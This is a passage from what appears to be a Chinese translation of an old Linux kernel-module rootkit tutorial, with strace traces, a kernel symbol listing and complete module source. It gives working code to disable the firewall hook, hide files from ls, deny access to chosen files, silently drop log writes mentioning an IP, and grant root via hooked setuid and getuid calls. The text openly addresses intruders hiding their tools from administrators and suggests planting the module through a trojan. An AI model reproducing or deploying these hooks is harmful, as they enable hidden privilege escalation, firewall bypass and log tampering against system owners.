open(/etc/ld.so.cache, O_RDONLY) 3
mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) 0x40008000
close(3) 0
stat(/etc/ld.so.preload, 0xbffff780) -1 ENOENT (No such file or directory)
open(/lib/libc.so.5, O_RDONLY) 3
read(3, /177ELF/1/1/1/0/0/0/0/0/0/0/0/0/3..., 4096) 4096
mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) 0x4000c000
mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) 0x4000c000
mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x81000) 0x4008e000
mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) 0x40094000
close(3) 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) 0
munmap(0x40008000, 13363) 0
mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) 0
mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) 0
personality(PER_LINUX) 0
geteuid() 500
getuid() 500
getgid() 100
getegid() 100
brk(0x804aa48) 0x804aa48
brk(0x804b000) 0x804b000
open(/usr/share/locale/locale.alias, O_RDONLY) 3
fstat(3, {st_modeS_IFREG|0644, st_size2005, ...}) 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) 0x40008000
read(3, # Locale name alias data base/n#..., 4096) 2005
brk(0x804c000) 0x804c000
read(3, , 4096) 0
close(3) 0
munmap(0x40008000, 4096) 0
open(/usr/share/i18n/locale.alias, O_RDONLY) -1 ENOENT (No such file or directory)
open(/usr/share/locale/de_DE/LC_CTYPE, O_RDONLY) 3
fstat(3, {st_modeS_IFREG|0644, st_size10399, ...}) 0
mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) 0x40008000
close(3) 0
geteuid() 500
open(/etc/passwd, O_RDONLY) 3
fstat(3, {st_modeS_IFREG|0644, st_size1074, ...}) 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) 0x4000b000
read(3, root:x:0:0:root:/root:/bin/bash/n..., 4096) 1074
close(3) 0
munmap(0x4000b000, 4096) 0
fstat(1, {st_modeS_IFREG|0644, st_size2798, ...}) 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) 0x4000b000
write(1, r00t/n, 5r00t
) 5
_exit(0) ? 这是一个非常不错的结果列出了whoami命令用到的所有系统调用不是吗为了控制whoami的输出有四个重要的系统调用可被截获
geteuid() 500
getuid() 500
getgid() 100
getegid() 100
看一下II.6是如何解决那个问题的。分析程序的方法也是快速查询其它标准工具的一个重要方法。
我希望现在你有能力找到一些系统调用了。这些系统调用可用来使你隐藏行迹做系统后门或任何你想干的。 3.迷惑内核系统表
在II.1中你可以看到如何访问sys_call_table它通过内核符号表导出。现在思考一下通过在我们的模块中访问它们我们可以改动任何引出项如函数结构变量。
在/proc/ksyms中列出的所有项都可被截获。但我们的模块不能用这种方式改因为我们没引出任何符号。这里是我机器上/proc/ksyms文件的一部分用来展示一下你可以改什么。
...
001bf1dc ppp_register_compressor
001bf23c ppp_unregister_compressor
001e7a10 ppp_crc16_table
001b9cec slhc_init
001b9ebc slhc_free
001baa20 slhc_remember
001b9f6c slhc_compress
001ba5dc slhc_uncompress
001babbc slhc_toss
001a79f4 register_serial
001a7b40 unregister_serial
00109cec dump_thread
00109c98 dump_fpu
001c0c90 __do_delay
001c0c60 down_failed
001c0c80 down_failed_interruptible
001c0c70 up_wakeup
001390dc sock_register
00139110 sock_unregister
0013a390 memcpy_fromiovec
001393c8 sock_setsockopt
00139640 sock_getsockopt
001398c8 sk_alloc
001398f8 sk_free
00137b88 sock_wake_async
00139a70 sock_alloc_send_skb
0013a408 skb_recv_datagram
0013a580 skb_free_datagram
0013a5cc skb_copy_datagram
0013a60c skb_copy_datagram_iovec
0013a62c datagram_select
00141480 inet_add_protocol
001414c0 inet_del_protocol
001ddd18 rarp_ioctl_hook
001bade4 init_etherdev
00140904 ip_rt_route
001408e4 ip_rt_dev
00150b84 icmp_send
00143750 ip_options_compile
001408c0 ip_rt_put
0014faa0 arp_send
0014f5ac arp_bind_cache
001dd3cc ip_id_count
0014445c ip_send_check
00142bc0 ip_forward
001dd3c4 sysctl_ip_forward
0013a994 register_netdevice_notifier
0013a9c8 unregister_netdevice_notifier
0013ce00 register_net_alias_type
0013ce4c unregister_net_alias_type
001bb208 register_netdev
001bb2e0 unregister_netdev
001bb090 ether_setup
0013d1c0 eth_type_trans
0013d318 eth_copy_and_sum
0014f164 arp_query
00139d84 alloc_skb
00139c90 kfree_skb
00139f20 skb_clone
0013a1d0 dev_alloc_skb
0013a184 dev_kfree_skb
0013a14c skb_device_unlock
0013ac20 netif_rx
0013ae0c dev_tint
001e6ea0 irq2dev_map
0013a7a8 dev_add_pack
0013a7e8 dev_remove_pack
0013a840 dev_get
0013b704 dev_ioctl
0013abfc dev_queue_xmit
001e79a0 dev_base
0013a8dc dev_close
0013ba40 dev_mc_add
0014f3c8 arp_find
001b05d8 n_tty_ioctl
001a7ccc tty_register_ldisc
0012c8dc kill_fasync
0014f164 arp_query
00155ff8 register_ip_masq_app
0015605c unregister_ip_masq_app
00156764 ip_masq_skb_replace
00154e30 ip_masq_new
00154e64 ip_masq_set_expire
001ddf80 ip_masq_free_ports
001ddfdc ip_masq_expire
001548f0 ip_masq_out_get_2
001391e8 register_firewall
00139258 unregister_firewall
00139318 call_in_firewall
0013935c call_out_firewall
001392d4 call_fw_firewall
... 只看call_in_firewall这个函数在内核中用于防火墙管理如果我们用一个伪造的函数代替它会怎样呢
看如下LKM
#define MODULE
#define __KERNEL__ #include LINUX module.h
#include LINUX kernel.h
#include ASM unistd.h
#include SYS syscall.h
#include SYS types.h
#include ASM fcntl.h
#include ASM errno.h
#include LINUX types.h
#include LINUX dirent.h
#include SYS mman.h
#include LINUX string.h
#include LINUX fs.h
#include LINUX malloc.h /*得到引出的函数*/
extern int *call_in_firewall; /*我们自己的无用的call_in_firewall*/
int new_call_in_firewall()
{
return 0;
} int init_module(void) /*module setup*/
{
call_in_firewallnew_call_in_firewall;
return 0;
} void cleanup_module(void) /*module shutdown*/
{
}
编译/加载此LKM并执行’ipfwadm –I –a deny’。然后执行’ping 127.0.0.1’你的内核会产生一条有趣的错误信息因为调用的call_in_firewall(...)函数已经换成假的了此例中你可跳过防火墙安装。
这是一种破坏引出符号的非常粗鲁的方式。你也可以反汇编某个特定符号用gdb然后修改某些特定字节以改变符号的工作方式。想象一下在引出函数中有 IF THEN结构反汇编这个函数查找象JNZJNE这样的命令会怎样 ...这种方法可修补重要项。当然你也可以在内核/模块源码中找这些函数但当你只能得到模块的二进制代码时怎么办这时反汇编就很有用了。
4.针对文件系统的黑客方法
LKM入侵的最重要特征就是在本地文件系统中隐藏某些项你留的漏洞窃听记录等等的能力。
4.1 如何隐藏文件
想象一下管理员是如何发现你的文件的他会用‘ls’看所有的东西。对那些不知道的人strace 命令检查ls可让你知道获得目录列表的系统调用为
int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);
所以我们知道应从哪里入手攻击了。下面的一段代码取自AFHRMMichal Zalewski的hacked_getdents系统调用这个模块可隐藏任何用ls列的文件和用getdents系统调用列的应用程序。 #define MODULE
#define __KERNEL__ #include LINUX module.h
#include LINUX kernel.h
#include ASM unistd.h
#include SYS syscall.h
#include SYS types.h
#include ASM fcntl.h
#include ASM errno.h
#include LINUX types.h
#include LINUX dirent.h
#include SYS mman.h
#include LINUX string.h
#include LINUX fs.h
#include LINUX malloc.h extern void* sys_call_table[]; int (*orig_getdents) (uint, struct dirent *, uint); int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
unsigned int tmp, n;
int t, proc 0;
struct inode *dinode;
struct dirent *dirp2, *dirp3;
char hide[]ourtool; /*要隐藏的文件*/ /*调用原始的getdents - 结果放入tmp*/
tmp (*orig_getdents) (fd, dirp, count); /*目录缓存处理directory cache handling*/
/*必须这样检查因为原始getdents可能把结果放入任务进程的结构的缓存中。*/
#ifdef __LINUX_DCACHE_H
dinode current-files-fd[fd]-f_dentry-d_inode;
#else
dinode current-files-fd[fd]-f_inode;
#endif /*dinode 是所请求目录的i节点*/
if (tmp 0)
{
/*dirp2 is a new dirent structure*/
dirp2 (struct dirent *) kmalloc(tmp, GFP_KERNEL);
/*copy original dirent structure to dirp2*/
memcpy_fromfs(dirp2, dirp, tmp);
/*dirp3 points to dirp2*/
dirp3 dirp2;
t tmp;
while (t 0)
{
n dirp3-d_reclen;
t - n;
/*检查当前的文件名是否为我们想要隐藏的文件*/
if (strstr((char *) (dirp3-d_name), (char *) hide) ! NULL)
{
/*如果有必要则修改dirent结构*/
if (t ! 0)
memmove(dirp3, (char *) dirp3 dirp3-d_reclen, t);
else
dirp3-d_off 1024;
tmp - n;
}
if (dirp3-d_reclen 0)
{
/*
*处理一些该死的不正确使用
*getdents系统调用的 fs 驱动程序
*/
tmp - t;
t 0;
}
if (t ! 0)
dirp3 (struct dirent *) ((char *) dirp3 dirp3-d_reclen);
}
memcpy_tofs(dirp, dirp2, tmp);
kfree(dirp2);
}
return tmp;
} int init_module(void) /*module setup*/
{
orig_getdentssys_call_table[SYS_getdents];
sys_call_table[SYS_getdents]hacked_getdents;
return 0;
} void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_getdents]orig_getdents;
} 对新手读注释用心思考10分钟。然后继续。
这种欺骗方式很有效但记住管理员通过直接访问仍然能看到你的文件如’cat ourtool’或’ls ourtool’就可以。所以你的工具不要用很详细的名字如sniffer,mountdxpl.c等等。当然还有办法防止管理员读你的文件接着读吧。
4.2如何隐藏文件内容总体说明
我从未看到过隐藏文件内容的真正实现程序当然在一些象AFHRM的Michal Zalewski写的LKM中有控制内容/删除函数但不是真正的隐藏内容。我怀疑有很多人就这样做但没谁写出来过所以我写了。很清楚有很多办法做这些第一种办法很简单截获open系统调用检查文件名是不是’ourtool’如果是就否决任何打开文件的尝试所以读/写或其它事情都不能做。让我们实现这个LKM #define MODULE
#define __KERNEL__ #include LINUX module.h
#include LINUX kernel.h
#include ASM unistd.h
#include SYS syscall.h
#include SYS types.h
#include ASM fcntl.h
#include ASM errno.h
#include LINUX types.h
#include LINUX dirent.h
#include SYS mman.h
#include LINUX string.h
#include LINUX fs.h
#include LINUX malloc.h extern void* sys_call_table[]; int (*orig_open)(const char *pathname, int flag, mode_t mode); int hacked_open(const char *pathname, int flag, mode_t mode)
{
char *kernel_pathname;
char hide[]ourtool; /*把文件名传到内核空间*/
kernel_pathname (char*) kmalloc(256, GFP_KERNEL); memcpy_fromfs(kernel_pathname, pathname, 255); if (strstr(kernel_pathname, (char*)hide ) ! NULL)
{
kfree(kernel_pathname);
/*返回错误代码file does not exist*/
return -ENOENT;
}
else
{
kfree(kernel_pathname);
/*如果不是处理我们的’ourtool’一切照常*/
return orig_open(pathname, flag, mode);
}
} int init_module(void) /*module setup*/
{
orig_opensys_call_table[SYS_open];
sys_call_table[SYS_open]hacked_open;
return 0;
} void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_open]orig_open;
}
这个LKM工作的非常好它告诉任何尝试访问我们文件的人文件不存在。但我们自己如何访问这些文件呢有好多方法
设置一个magic-string 检查uid或gid要求建立某一特定用户 检查时间
4.3如何隐藏文件的特定部分源语示例
在3.2 中提到的方法对我们自己的工具/记录都是非常有用的。但用来修改管理员/其它用户的文件会怎样呢想象一下你想控制/var/log/messages中关于你的IP地址/DNS名称的那些记录项。我们知道成百上千个后门用来在任何记录文件中隐藏我们的标记但LKM究竟怎样滤掉写向文件的任何字符串数据的呢。如果这个字符串包含任何有关我们标记例如IP地址的任何数据我们应该否决可以简单的忽略/返回。下面的实现是非常基本的原型LKM只用来展示。我以前从未见过但从3.2可知有些人已经这么做了很多年了。
#define MODULE
#define __KERNEL__ #include LINUX module.h
#include LINUX kernel.h
#include ASM unistd.h
#include SYS syscall.h
#include SYS types.h
#include ASM fcntl.h
#include ASM errno.h
#include LINUX types.h
#include LINUX dirent.h
#include SYS mman.h
#include LINUX string.h
#include LINUX fs.h
#include LINUX malloc.h extern void* sys_call_table[]; int (*orig_write)(unsigned int fd, char *buf, unsigned int count); int hacked_write(unsigned int fd, char *buf, unsigned int count)
{
char *kernel_buf;
char hide[]127.0.0.1; /*我们想要隐藏的IP地址*/ kernel_buf (char*) kmalloc(1000, GFP_KERNEL); memcpy_fromfs(kernel_buf, buf, 999); if (strstr(kernel_buf, (char*)hide ) ! NULL)
{
kfree(kernel_buf);
/*告诉程序我们已经写了1字节*/
return 1;
}
else
{
kfree(kernel_buf);
return orig_write(fd, buf, count);
}
} int init_module(void) /*module setup*/
{
orig_writesys_call_table[SYS_write];
sys_call_table[SYS_write]hacked_write;
return 0;
} void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_write]orig_write;
}
这个LKM有几个不好的地方它不检查写的对象可用fd检查读一些例子。这意味着象’echo ‘127.0.0.1’’也会被禁止。你也可以修改将被写入的字符串所以它可能是你喜欢的某个人的IP地址....总之基本思想是很清楚的。
4.4如何重定向/监视文件操作
很古老的思路最先被AFHRM的Michal Zalewski实现。这里我就不写任何代码了因为太容易实现了你看过II.4.3/II.4.2之后。在很多事情上你可以监视/重定向文件系统事件
某人写文件-拷贝内容到另一个文件可通过sys_write(...)完成重定向。 某人能读敏感文件-监视某个文件的读可通过sys_read(...)完成重定向。 打开文件-我们可以监视整个系统的这类事件截获sys_open(...)并写入记录文件这是AFHRM监视系统中文件的方法源码见IV.3 link/unlink事件-监视所有链接的创建截获sys_link(...)源码见IV.3 rename事件-监视所有改文件名的事件截获sys_rename(...)源码见IV.3 ...
有一点非常有趣尤其对管理员因为你可以监视整个系统的文件变化。我认为监视用’touch’和’mkdir’命令建立的文件/目录也很有意思。
例如’touch’命令不用open创建文件用strace命令显示如下节选
...
stat(ourtool, 0xbffff798) -1 ENOENT (无此文件或目录)
creat(ourtool, 0666) 3
close(3) 0
_exit(0) ?
如你所见系统用调用sys_creat(...)来创建新文件。我认为这里提供源代码就没必要了太琐碎了不过就是截获sys_creat(...)然后用printk(...)把所有文件名写入记录文件。
这些就是AFHRM记录所有重要事件的方法。
这种黑客方法不单针对文件系统对一般的权限问题也非常重要。猜一下应截获哪个系统调用。Phrack(plaguez)建议用万能UID接管sys_setuid(...)。这意味着无论何时用万能UID使用setuid时模块将把UID置0超级用户。
让我们看一下他的实现只有hacked_setuid系统调用
...
int hacked_setuid(uid_t uid)
{
int tmp; /*我们有万能UID吗(在LKM中前面的某处定义) */
if (uid MAGICUID) {
/*如成立将所有的UIDs置0 (超级用户)*/
current-uid 0;
current-euid 0;
current-gid 0;
current-egid 0;
return 0;
}
tmp (*o_setuid) (uid);
return tmp;
}
...
我认为下面的技巧在某些情况下也很有用。想象一下这样的情形你给了非常蠢的管理员一个恶意木马这个木马安装了如下LKM到系统中[我没有实现隐藏功能这只是我思路的一个框架] #define MODULE
#define __KERNEL__ #include LINUX module.h
#include LINUX kernel.h
#include ASM unistd.h
#include SYS syscall.h
#include SYS types.h
#include ASM fcntl.h
#include ASM errno.h
#include LINUX types.h
#include LINUX dirent.h
#include SYS mman.h
#include LINUX string.h
#include LINUX fs.h
#include LINUX malloc.h extern void* sys_call_table[]; int (*orig_getuid)(); int hacked_getuid()
{
int tmp; /*检查是否我的UID*/
if (current-uid500) {
/*如果是我的UID - 意味着我在登录-给我一个rootshell*/
current-uid 0;
current-euid 0;
current-gid 0;
current-egid 0;
return 0;
}
tmp (*orig_getuid) ();
return tmp;
} int init_module(void) /*module setup*/
{
orig_getuidsys_call_table[SYS_getuid];
sys_call_table[SYS_getuid]hacked_getuid;
return 0;
} void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_getuid]orig_getuid;
}
如果这个LKM被加载到我们只是普通用户的操作系统中登录之后我们会得到一个rootshell当前进程有超级用户权力。如我在第一部分提到的current指的是当前任务task结构。
4.6如何使黑客工具目录不可访问
对黑客来说建个目录放自己经常使用的工具很重要黑客高手不使用常规的本地文件系统存放数据。用getdents方法可以隐藏我们的目录/文件用open方法可使我们的文件不可访问但如何使我们的目录不可访问呢
象通常的做法一样看一下include/sys/syscall.h你会发现SYS_chdir是我们要的系统调用不信的话可用strace命令看一下’cd’。这次我不给出源码因为你只需截获sys_mkdir做一下字符串比较。然后做常规调用如不是我们的目录或返回ENOTDIR意味着‘此目录不存在’。现在你的工具中级管理员就不能发现了高级/有病的管理员会在最底层扫描硬盘但在今天除了我们谁会这么疯狂这种硬盘扫描也可击败因为所有的一切都是基于系统调用的。